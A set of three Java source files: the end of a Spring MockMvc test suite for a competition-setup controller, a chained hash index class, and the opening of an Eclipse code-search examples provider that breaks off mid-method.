.param("researchCategoryId", "1", "2", "3")
.param("singleOrCollaborative", "collaborative")
.param("leadApplicantTypes", "1", "2", "3")
.param("researchParticipationAmountId", "")
.param("resubmission", "no"))
.andExpect(status().isOk())
.andExpect(view().name("competition/setup"))
.andExpect(model().attributeHasFieldErrors("competitionSetupForm", "researchParticipationAmountId"));
verify(competitionSetupService, never()).saveCompetitionSetupSection(
isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.PROJECT_ELIGIBILITY)
);
}
@Test
public void submitSectionEligibilitySucceedsWithoutResearchParticipationIfCompetitionHasNoApplicationFinance() throws Exception {
String redirectUrl = String.format("%s/%s/section/project-eligibility", URL_PREFIX, COMPETITION_ID);
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.withApplicationFinanceType((ApplicationFinanceType) null)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
when(competitionSetupService.getNextSetupSection(
isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.PROJECT_ELIGIBILITY))
).thenReturn(serviceSuccess(String.format("redirect:%s", redirectUrl)));
when(competitionSetupService.saveCompetitionSetupSection(
isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.PROJECT_ELIGIBILITY))
)
.thenReturn(serviceSuccess());
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/project-eligibility")
.param("multipleStream", "yes")
.param("streamName", "stream")
.param("researchCategoryId", "1", "2", "3")
.param("researchCategoriesApplicable", "true")
.param("singleOrCollaborative", "collaborative")
.param("leadApplicantTypes", "1", "2", "3")
.param("resubmission", "no")
.param("overrideFundingRules", "false"))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl(redirectUrl));
verify(competitionSetupService).getNextSetupSection(
isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.PROJECT_ELIGIBILITY)
);
verify(competitionSetupService).saveCompetitionSetupSection(
isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.PROJECT_ELIGIBILITY)
);
}
@Test
public void coFundersForCompetition() throws Exception {
String redirectUrl = String.format("%s/%s/section/additional", URL_PREFIX, COMPETITION_ID);
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.withActivityCode("Activity Code")
.withCompetitionCode("c123")
.withPafCode("p123")
.withBudgetCode("b123")
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.withFunders(CompetitionFundersFixture.getTestCoFunders())
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
when(competitionSetupService.getNextSetupSection(
any(AdditionalInfoForm.class),
any(CompetitionResource.class), any(CompetitionSetupSection.class))
).thenReturn(serviceSuccess(String.format("redirect:%s", redirectUrl)));
when(competitionSetupService.saveCompetitionSetupSection(
any(AdditionalInfoForm.class),
any(CompetitionResource.class), any(CompetitionSetupSection.class))
)
.thenReturn(serviceSuccess());
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/additional")
.param("activityCode", "a123")
.param("pafNumber", "p123")
.param("competitionCode", "c123")
.param("funders[0].funder", Funder.ADVANCED_PROPULSION_CENTRE_APC.name())
.param("funders[0].funderBudget", "93129")
.param("funders[0].coFunder", "false")
.param("budgetCode", "b123"))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl(redirectUrl));
verify(competitionSetupService, atLeastOnce()).getNextSetupSection(
any(AdditionalInfoForm.class),
any(CompetitionResource.class),
any(CompetitionSetupSection.class)
);
verify(competitionSetupService, atLeastOnce()).saveCompetitionSetupSection(
any(AdditionalInfoForm.class),
any(CompetitionResource.class),
any(CompetitionSetupSection.class)
);
verify(validator).validate(any(AdditionalInfoForm.class), any(BindingResult.class));
}
@Test
public void submitCompletionStageSectionDetails() throws Exception {
String redirectUrl = String.format( "%s/%s/section/milestones", URL_PREFIX, COMPETITION_ID);
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
when(competitionSetupService.getNextSetupSection(
any(CompletionStageForm.class),
eq(competition),
eq(CompetitionSetupSection.COMPLETION_STAGE))).thenReturn(serviceSuccess(String.format("redirect:%s", redirectUrl)));
when(competitionSetupService.saveCompetitionSetupSection(
any(CompletionStageForm.class),
eq(competition),
eq(CompetitionSetupSection.COMPLETION_STAGE))).thenReturn(serviceSuccess());
// assert that after a successful submission, the view moves on to the Milestones page
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/completion-stage")
.param("selectedCompletionStage", CompetitionCompletionStage.COMPETITION_CLOSE.name()))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl(redirectUrl));
verify(competitionSetupService, times(1)).getNextSetupSection(
any(CompletionStageForm.class),
eq(competition),
eq(CompetitionSetupSection.COMPLETION_STAGE));
verify(competitionSetupService, times(1)).saveCompetitionSetupSection(
createLambdaMatcher(form -> {
assertThat(((CompletionStageForm) form).getSelectedCompletionStage()).isEqualTo(CompetitionCompletionStage.COMPETITION_CLOSE);
}),
eq(competition),
eq(CompetitionSetupSection.COMPLETION_STAGE));
}
@Test
public void submitCompletionStageSectionDetailsWithValidationErrors() throws Exception {
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/completion-stage"))
.andExpect(model().hasErrors())
.andExpect(model().errorCount(1))
.andExpect(model().attributeHasFieldErrorCode("competitionSetupForm",
"selectedCompletionStage", "NotNull"))
.andExpect(view().name("competition/setup"));
verify(competitionSetupService, never()).saveCompetitionSetupSection(any(), any(), any());
}
@Test
public void markCompletionStageSectionIncomplete() throws Exception {
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
when(competitionSetupRestService.markSectionIncomplete(competition.getId(), CompetitionSetupSection.COMPLETION_STAGE)).
thenReturn(restSuccess());
// assert that after successful marking incomplete, the view remains on the editable view of the Completion Stage page
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/completion-stage/edit"))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl(URL_PREFIX + "/" + COMPETITION_ID + "/section/completion-stage"));
verify(competitionSetupRestService).markSectionIncomplete(competition.getId(), CompetitionSetupSection.COMPLETION_STAGE);
}
@Test
public void submitMilestonesSectionDetails() throws Exception {
String redirectUrl = String.format("%s/%s/section/milestones", URL_PREFIX, COMPETITION_ID);
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
when(competitionSetupService.saveCompetitionSetupSection(
any(MilestonesForm.class),
eq(competition),
eq(CompetitionSetupSection.MILESTONES))).thenReturn(serviceSuccess());
when(competitionSetupService.getNextSetupSection(
any(MilestonesForm.class),
eq(competition),
eq(CompetitionSetupSection.MILESTONES))).thenReturn(serviceSuccess(String.format("redirect:%s", redirectUrl)));
// assert that after successful submission, the view remains on the read-only view of the Milestones page
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/milestones"))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl(redirectUrl));
verify(competitionSetupService, times(1)).getNextSetupSection(
any(MilestonesForm.class),
eq(competition),
eq(CompetitionSetupSection.MILESTONES));
verify(competitionSetupService, times(1)).saveCompetitionSetupSection(
any(MilestonesForm.class),
eq(competition),
eq(CompetitionSetupSection.MILESTONES));
}
@Test
public void markMilestonesSectionIncomplete() throws Exception {
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
when(competitionSetupRestService.markSectionIncomplete(competition.getId(), CompetitionSetupSection.MILESTONES)).
thenReturn(restSuccess());
// assert that after successful marking incomplete, the view remains on the editable view of the Milestones page
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/milestones/edit"))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl(URL_PREFIX + "/" + COMPETITION_ID + "/section/milestones"));
verify(competitionSetupRestService).markSectionIncomplete(competition.getId(), CompetitionSetupSection.MILESTONES);
}
@Test
public void setCompetitionAsReadyToOpen() throws Exception {
when(competitionSetupService.setCompetitionAsReadyToOpen(COMPETITION_ID)).thenReturn(serviceSuccess());
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/ready-to-open"))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl("/competition/setup/" + COMPETITION_ID));
verify(competitionSetupService, only()).setCompetitionAsReadyToOpen(COMPETITION_ID);
}
@Test
public void setCompetitionAsReadyToOpen_failure() throws Exception {
when(competitionSetupService.setCompetitionAsReadyToOpen(COMPETITION_ID)).thenReturn(
serviceFailure(new Error("competition.setup.not.ready.to.open", HttpStatus.BAD_REQUEST)));
// For re-display of Competition Setup following the failure
CompetitionResource competitionResource = newCompetitionResource()
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.withId(COMPETITION_ID)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competitionResource));
MvcResult result = mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/ready-to-open"))
.andExpect(status().isOk())
.andExpect(model().hasErrors())
.andExpect(model().errorCount(1))
.andExpect(view().name("competition/setup"))
.andReturn();
verify(competitionSetupService).setCompetitionAsReadyToOpen(COMPETITION_ID);
CompetitionSetupSummaryForm form = (CompetitionSetupSummaryForm) result.getModelAndView().getModel()
.get(COMPETITION_SETUP_FORM_KEY);
BindingResult bindingResult = form.getBindingResult();
assertEquals(1, bindingResult.getGlobalErrorCount());
assertEquals("competition.setup.not.ready.to.open", bindingResult.getGlobalErrors().get(0).getCode());
}
@Test
public void submitAssessorsSectionDetailsWithErrors() throws Exception {
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.build();
when(competitionSetupService.hasInitialDetailsBeenPreviouslySubmitted(COMPETITION_ID)).thenReturn(TRUE);
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/assessors"))
.andExpect(status().isOk())
.andExpect(view().name("competition/setup"));
verify(competitionSetupRestService, never()).update(competition);
}
@Test
public void submitAssessorsSectionDetailsWithoutErrors() throws Exception {
String redirectUrl = String.format("%s/%s/section/assessors", URL_PREFIX, COMPETITION_ID);
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
when(competitionSetupService.getNextSetupSection(
isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.ASSESSORS))).thenReturn(serviceSuccess(String.format("redirect:%s", redirectUrl))
);
when(competitionSetupService.saveCompetitionSetupSection(
isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.ASSESSORS))).thenReturn(serviceSuccess()
);
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/assessors")
.param("averageAssessorScore", "0")
.param("assessorCount", "1")
.param("assessorPay", "10")
.param("hasAssessmentPanel", "0")
.param("hasInterviewStage", "0")
.param("assessorFinanceView", "OVERVIEW"))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl(redirectUrl));
verify(competitionSetupService).getNextSetupSection(
isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.ASSESSORS));
verify(competitionSetupService).saveCompetitionSetupSection(
isA(CompetitionSetupForm.class),
eq(competition),
eq(CompetitionSetupSection.ASSESSORS));
}
@Test
public void submitAssessorsSectionDetailsWithInvalidAssessorCount() throws Exception {
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.build();
when(competitionSetupService.hasInitialDetailsBeenPreviouslySubmitted(COMPETITION_ID)).thenReturn(Boolean.TRUE);
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/assessors")
.param("assessorCount", "")
.param("assessorPay", "10"))
.andExpect(status().isOk())
.andExpect(model().attributeHasFieldErrors("competitionSetupForm", "assessorCount"))
.andExpect(view().name("competition/setup"));
verify(competitionSetupRestService, never()).update(competition);
}
@Test
public void submitAssessorsSectionDetailsWithInvalidAssessorPay() throws Exception {
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/assessors")
.param("assessorCount", "3")
.param("assessorPay", ""))
.andExpect(status().isOk())
.andExpect(model().attributeHasFieldErrors("competitionSetupForm", "assessorPay"))
.andExpect(view().name("competition/setup"));
verify(competitionSetupRestService, never()).update(competition);
}
@Test
public void submitAssessorsSectionDetailsWithInvalidAssessorPay_Bignumber() throws Exception {
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.build();
when(competitionSetupService.hasInitialDetailsBeenPreviouslySubmitted(COMPETITION_ID)).thenReturn(TRUE);
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/assessors")
.param("assessorCount", "3")
.param("assessorPay", "12345678912334"))
.andExpect(status().isOk())
.andExpect(model().attributeHasFieldErrors("competitionSetupForm", "assessorPay"))
.andExpect(view().name("competition/setup"));
verify(competitionSetupRestService, never()).update(competition);
}
@Test
public void testSubmitAssessorsSectionDetailsWithInvalidAssessorPay_NegativeNumber() throws Exception {
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.withNonIfs(FALSE)
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.build();
when(competitionSetupService.hasInitialDetailsBeenPreviouslySubmitted(COMPETITION_ID)).thenReturn(Boolean.TRUE);
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/assessors")
.param("assessorCount", "3")
.param("assessorPay", "-1"))
.andExpect(status().isOk())
.andExpect(model().attributeHasFieldErrors("competitionSetupForm", "assessorPay"))
.andExpect(view().name("competition/setup"));
verify(competitionSetupRestService, never()).update(competition);
}
@Test
public void deleteCompetition() throws Exception {
when(competitionSetupService.deleteCompetition(COMPETITION_ID)).thenReturn(serviceSuccess());
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/delete"))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl("/dashboard"));
verify(competitionSetupService, only()).deleteCompetition(COMPETITION_ID);
}
@Test
public void deleteCompetition_failure() throws Exception {
when(competitionSetupService.deleteCompetition(COMPETITION_ID)).thenReturn(
serviceFailure(new Error(COMPETITION_WITH_ASSESSORS_CANNOT_BE_DELETED, HttpStatus.BAD_REQUEST)));
// For re-display of Competition Setup following the failure
CompetitionResource competitionResource = newCompetitionResource()
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.withId(COMPETITION_ID)
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competitionResource));
MvcResult result = mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/delete"))
.andExpect(status().isOk())
.andExpect(model().hasErrors())
.andExpect(model().errorCount(1))
.andExpect(view().name("competition/setup"))
.andReturn();
CompetitionSetupSummaryForm form = (CompetitionSetupSummaryForm) result.getModelAndView().getModel()
.get(COMPETITION_SETUP_FORM_KEY);
BindingResult bindingResult = form.getBindingResult();
assertEquals(1, bindingResult.getGlobalErrorCount());
assertEquals("COMPETITION_WITH_ASSESSORS_CANNOT_BE_DELETED", bindingResult.getGlobalErrors().get(0).getCode());
}
@Test
public void uploadTermsAndConditions() throws Exception {
CompetitionResource competitionResource = newCompetitionResource()
.withId(COMPETITION_ID)
.build();
String fileName = "termsAndConditionsDoc";
String originalFileName = "original filename";
String contentType = "application/json";
String content = "content";
MockMultipartFile file = new MockMultipartFile(fileName, originalFileName, contentType, content.getBytes());
FileEntryResource fileEntryResource = newFileEntryResource().build();
TermsAndConditionsForm form = new TermsAndConditionsForm();
form.setTermsAndConditionsDoc(file);
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competitionResource));
when(competitionSetupRestService.uploadCompetitionTerms(COMPETITION_ID, file.getContentType(), file.getSize(),
file.getOriginalFilename(), getMultipartFileBytes(file))).thenReturn(restSuccess(fileEntryResource));
mockMvc.perform(multipart(format("%s/%d/section/terms-and-conditions", URL_PREFIX, COMPETITION_ID))
.file(file)
.param("uploadTermsAndConditionsDoc", "true"))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl(format("%s/%d/section/terms-and-conditions", URL_PREFIX, COMPETITION_ID)));
InOrder inOrder = inOrder(competitionRestService, competitionSetupRestService, competitionSetupService);
inOrder.verify(competitionRestService).getCompetitionById(COMPETITION_ID);
inOrder.verify(competitionSetupRestService)
.uploadCompetitionTerms(COMPETITION_ID, file.getContentType(), file.getSize(), file.getOriginalFilename(), getMultipartFileBytes(file));
inOrder.verify(competitionSetupService)
.saveCompetitionSetupSection(form, competitionResource, CompetitionSetupSection.TERMS_AND_CONDITIONS);
inOrder.verifyNoMoreInteractions();
}
@Test
public void submitTermsAndConditionsSectionDetails() throws Exception {
String redirectUrl = String.format("%s/%s/section/terms-and-conditions", URL_PREFIX, COMPETITION_ID);
GrantTermsAndConditionsResource nonProcurementTerms = newGrantTermsAndConditionsResource()
.withName("Non procurement terms")
.build();
CompetitionResource competition = newCompetitionResource()
.withId(COMPETITION_ID)
.withCompetitionTerms(newFileEntryResource().build())
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competition));
when(termsAndConditionsRestService.getById(nonProcurementTerms.getId())).thenReturn(restSuccess(nonProcurementTerms));
when(competitionSetupService.getNextSetupSection(
any(TermsAndConditionsForm.class),
eq(competition),
eq(CompetitionSetupSection.TERMS_AND_CONDITIONS))).thenReturn(serviceSuccess(String.format("redirect:%s", redirectUrl)));
when(competitionSetupService.saveCompetitionSetupSection(
any(TermsAndConditionsForm.class),
eq(competition),
eq(CompetitionSetupSection.TERMS_AND_CONDITIONS))).thenReturn(serviceSuccess());
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/terms-and-conditions")
.param("termsAndConditionsId", String.valueOf(nonProcurementTerms.getId())))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl(redirectUrl));
InOrder inOrder = inOrder(competitionSetupService, competitionSetupRestService, competitionRestService, termsAndConditionsRestService);
inOrder.verify(competitionRestService).getCompetitionById(competition.getId());
inOrder.verify(termsAndConditionsRestService).getById(nonProcurementTerms.getId());
inOrder.verify(competitionSetupRestService).deleteCompetitionTerms(competition.getId());
inOrder.verify(competitionSetupService).saveCompetitionSetupSection(
isA(TermsAndConditionsForm.class),
eq(competition),
eq(CompetitionSetupSection.TERMS_AND_CONDITIONS));
inOrder.verify(competitionSetupService).getNextSetupSection(
isA(TermsAndConditionsForm.class),
eq(competition),
eq(CompetitionSetupSection.TERMS_AND_CONDITIONS));
inOrder.verifyNoMoreInteractions();
}
@Test
public void submitTermsAndConditionsSectionDetails_procurement() throws Exception {
String redirectUrl = String.format("%s/%s/section/terms-and-conditions", URL_PREFIX, COMPETITION_ID);
GrantTermsAndConditionsResource procurementTerms = newGrantTermsAndConditionsResource().withName("Procurement").build();
CompetitionResource competitionWithTermsDoc = newCompetitionResource()
.withId(COMPETITION_ID)
.withCompetitionTerms(newFileEntryResource().build())
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competitionWithTermsDoc));
when(termsAndConditionsRestService.getById(procurementTerms.getId())).thenReturn(restSuccess(procurementTerms));
when(competitionSetupService.getNextSetupSection(
any(TermsAndConditionsForm.class),
eq(competitionWithTermsDoc),
eq(CompetitionSetupSection.TERMS_AND_CONDITIONS))).thenReturn(serviceSuccess(String.format("redirect:%s", redirectUrl)));
when(competitionSetupService.saveCompetitionSetupSection(
any(TermsAndConditionsForm.class),
eq(competitionWithTermsDoc),
eq(CompetitionSetupSection.TERMS_AND_CONDITIONS))).thenReturn(serviceSuccess());
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/terms-and-conditions")
.param("termsAndConditionsId", String.valueOf(procurementTerms.getId())))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl(redirectUrl));
verify(competitionSetupService).getNextSetupSection(
any(TermsAndConditionsForm.class),
eq(competitionWithTermsDoc),
eq(CompetitionSetupSection.TERMS_AND_CONDITIONS));
verify(competitionSetupService).saveCompetitionSetupSection(
any(TermsAndConditionsForm.class),
eq(competitionWithTermsDoc),
eq(CompetitionSetupSection.TERMS_AND_CONDITIONS));
}
@Test
public void submitTermsAndConditionsSectionDetails_procurementNoFileUploaded() throws Exception {
GrantTermsAndConditionsResource procurementTerms = newGrantTermsAndConditionsResource().withName("Procurement").build();
CompetitionResource competitionWithoutTermsDoc = newCompetitionResource().withId(COMPETITION_ID).build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competitionWithoutTermsDoc));
when(termsAndConditionsRestService.getById(procurementTerms.getId())).thenReturn(restSuccess(procurementTerms));
when(competitionSetupService.saveCompetitionSetupSection(
any(TermsAndConditionsForm.class),
eq(competitionWithoutTermsDoc),
eq(CompetitionSetupSection.TERMS_AND_CONDITIONS))).thenReturn(serviceSuccess());
mockMvc.perform(post(URL_PREFIX + "/" + COMPETITION_ID + "/section/terms-and-conditions")
.param("termsAndConditionsId", String.valueOf(procurementTerms.getId())))
.andExpect(status().isOk())
.andExpect(view().name("competition/setup"))
.andExpect(model().attributeHasFieldErrors("competitionSetupForm", "termsAndConditionsDoc"));
}
@Test
public void deleteTermsAndConditions() throws Exception {
CompetitionResource competitionWithTermsDoc = newCompetitionResource()
.withId(COMPETITION_ID)
.withCompetitionTerms(newFileEntryResource().build())
.build();
when(competitionRestService.getCompetitionById(COMPETITION_ID)).thenReturn(restSuccess(competitionWithTermsDoc));
when(competitionSetupRestService.deleteCompetitionTerms(COMPETITION_ID)).thenReturn(restSuccess());
mockMvc.perform(multipart(format("%s/%d/section/terms-and-conditions", URL_PREFIX, COMPETITION_ID))
.param("deleteTermsAndConditionsDoc", "true"))
.andExpect(status().is3xxRedirection())
.andExpect(redirectedUrl(format("%s/%d/section/terms-and-conditions", URL_PREFIX, COMPETITION_ID)));
verify(competitionRestService).getCompetitionById(COMPETITION_ID);
verify(competitionSetupRestService).deleteCompetitionTerms(COMPETITION_ID);
}
}
|
package ch.bind.philib.util;
import java.util.Arrays;
import ch.bind.philib.lang.MurmurHash;
import ch.bind.philib.util.ClusteredIndex.Entry;
import ch.bind.philib.validation.Validation;
// TODO: round table size up (2^x) and use bitmasks
// TODO: concurrent version
public final class ClusteredHashIndex<K, T extends Entry<K>> implements ClusteredIndex<K, T> {
private final Entry<K>[] table;
@SuppressWarnings("unchecked")
public ClusteredHashIndex(int capacity) {
table = new Entry[capacity];
}
@Override
public boolean add(final T entry) {
Validation.isTrue(entry != null && entry.getNextIndexEntry() == null && entry.getKey() != null,
"newly added entries must be non-null and cleared");
final K key = entry.getKey();
final int hash = key.hashCode();
final int position = hashPosition(hash);
Entry<K> scanNow = table[position];
if (scanNow == null) {
table[position] = entry;
return true;
}
Entry<K> scanPrev = null;
do {
K nowKey = scanNow.getKey();
if (hash == nowKey.hashCode() && key.equals(nowKey)) {
// key is already in the table
return false;
}
scanPrev = scanNow;
scanNow = scanNow.getNextIndexEntry();
} while (scanNow != null);
assert (scanPrev != null);
scanPrev.setNextIndexEntry(entry);
return true;
}
@Override
public boolean remove(final T entry) {
Validation.notNull(entry);
final K key = entry.getKey();
final int hash = key.hashCode();
final int position = hashPosition(hash);
Entry<K> scanPrev = null;
Entry<K> scanNow = table[position];
while (scanNow != null && scanNow != entry) {
scanPrev = scanNow;
scanNow = scanNow.getNextIndexEntry();
}
if (scanNow == entry) {
if (scanPrev == null) {
// first entry in the table
table[position] = entry.getNextIndexEntry();
}
else {
// there are entries before this one
scanPrev.setNextIndexEntry(entry.getNextIndexEntry());
}
entry.setNextIndexEntry(null);
return true; // entry found and removed
}
return false; // entry not found
}
// returns null if a pair does not exist
@Override
@SuppressWarnings("unchecked")
public T get(final K key) {
Validation.notNull(key);
final int hash = key.hashCode();
final int position = hashPosition(hash);
Entry<K> entry = table[position];
while (entry != null) {
final K entryKey = entry.getKey();
if (key == entryKey || (hash == entryKey.hashCode() && key.equals(entryKey))) {
return (T) entry;
}
entry = entry.getNextIndexEntry();
}
return null;
}
private int hashPosition(int hash) {
hash = MurmurHash.murmur3_finalize_mix32(hash);
int p = hash % table.length;
return Math.abs(p);
}
@Override
public void clear() {
for (Entry<K> e : table) {
while (e != null) {
Entry<K> next = e.getNextIndexEntry();
e.setNextIndexEntry(null);
e = next;
}
}
Arrays.fill(table, null);
}
}
|
package org.eclipse.recommenders.codesearch.rcp.index.extdoc;
import static com.google.common.base.Optional.absent;
import static com.google.common.base.Optional.of;
import static java.lang.String.format;
import static org.eclipse.recommenders.codesearch.rcp.index.indexer.BindingHelper.getIdentifier;
import static org.eclipse.recommenders.extdoc.rcp.providers.ExtdocProvider.Status.NOT_AVAILABLE;
import static org.eclipse.recommenders.extdoc.rcp.providers.ExtdocProvider.Status.OK;
import static org.eclipse.recommenders.rcp.events.JavaSelectionEvent.JavaSelectionLocation.METHOD_BODY;
import java.io.IOException;
import java.util.List;
import javax.inject.Inject;
import org.apache.lucene.document.Document;
import org.apache.lucene.index.Term;
import org.apache.lucene.search.BooleanClause.Occur;
import org.apache.lucene.search.BooleanQuery;
import org.apache.lucene.search.TermQuery;
import org.eclipse.jdt.core.IField;
import org.eclipse.jdt.core.ILocalVariable;
import org.eclipse.jdt.core.IMethod;
import org.eclipse.jdt.core.IType;
import org.eclipse.jdt.core.JavaModelException;
import org.eclipse.jdt.core.dom.ASTNode;
import org.eclipse.jdt.core.dom.CastExpression;
import org.eclipse.jdt.core.dom.ClassInstanceCreation;
import org.eclipse.jdt.core.dom.ConstructorInvocation;
import org.eclipse.jdt.core.dom.Expression;
import org.eclipse.jdt.core.dom.IMethodBinding;
import org.eclipse.jdt.core.dom.MethodDeclaration;
import org.eclipse.jdt.core.dom.MethodInvocation;
import org.eclipse.jdt.core.dom.SimpleName;
import org.eclipse.jdt.core.dom.SuperMethodInvocation;
import org.eclipse.jdt.core.dom.TypeDeclaration;
import org.eclipse.jdt.core.dom.VariableDeclarationFragment;
import org.eclipse.jdt.internal.corext.dom.LinkedNodeFinder;
import org.eclipse.jdt.ui.JavaUI;
import org.eclipse.jface.layout.GridDataFactory;
import org.eclipse.jface.viewers.ArrayContentProvider;
import org.eclipse.jface.viewers.DoubleClickEvent;
import org.eclipse.jface.viewers.IDoubleClickListener;
import org.eclipse.jface.viewers.TableViewer;
import org.eclipse.recommenders.codesearch.rcp.index.Fields;
import org.eclipse.recommenders.codesearch.rcp.index.indexer.BindingHelper;
import org.eclipse.recommenders.codesearch.rcp.index.indexer.CodeIndexerIndex;
import org.eclipse.recommenders.codesearch.rcp.index.searcher.CodeSearcherIndex;
import org.eclipse.recommenders.extdoc.rcp.providers.ExtdocProvider;
import org.eclipse.recommenders.extdoc.rcp.providers.JavaSelectionSubscriber;
import org.eclipse.recommenders.rcp.RecommendersPlugin;
import org.eclipse.recommenders.rcp.events.JavaSelectionEvent;
import org.eclipse.recommenders.utils.Names;
import org.eclipse.recommenders.utils.Tuple;
import org.eclipse.recommenders.utils.names.VmMethodName;
import org.eclipse.recommenders.utils.rcp.JavaElementResolver;
import org.eclipse.recommenders.utils.rcp.JdtUtils;
import org.eclipse.recommenders.utils.rcp.RCPUtils;
import org.eclipse.recommenders.utils.rcp.ast.BindingUtils;
import org.eclipse.swt.SWT;
import org.eclipse.swt.layout.GridLayout;
import org.eclipse.swt.widgets.Composite;
import org.eclipse.swt.widgets.Label;
import com.google.common.base.Optional;
import com.google.common.base.Stopwatch;
import com.google.common.collect.Lists;
@SuppressWarnings("restriction")
public class LocalExamplesProvider extends ExtdocProvider {
private final JavaElementResolver jdtResolver;
private final CodeSearcherIndex searcher;
private Stopwatch watch;
private JavaSelectionEvent event;
private MethodDeclaration enclosingMethod;
private TypeDeclaration enclosingType;
private SimpleName varNode;
private String varType;
private List<String> searchterms;
private IType jdtVarType;
@Inject
public LocalExamplesProvider(final CodeIndexerIndex index, final JavaElementResolver jdtResolver)
throws IOException {
this.searcher = new CodeSearcherIndex(index.getIndex());
this.jdtResolver = jdtResolver;
}
@JavaSelectionSubscriber(METHOD_BODY)
public Status onFieldSelection(final IField var, final JavaSelectionEvent event, final Composite parent)
throws IOException, JavaModelException {
this.event = event;
startMeasurement();
if (!findAstNodes()) {
return NOT_AVAILABLE;
}
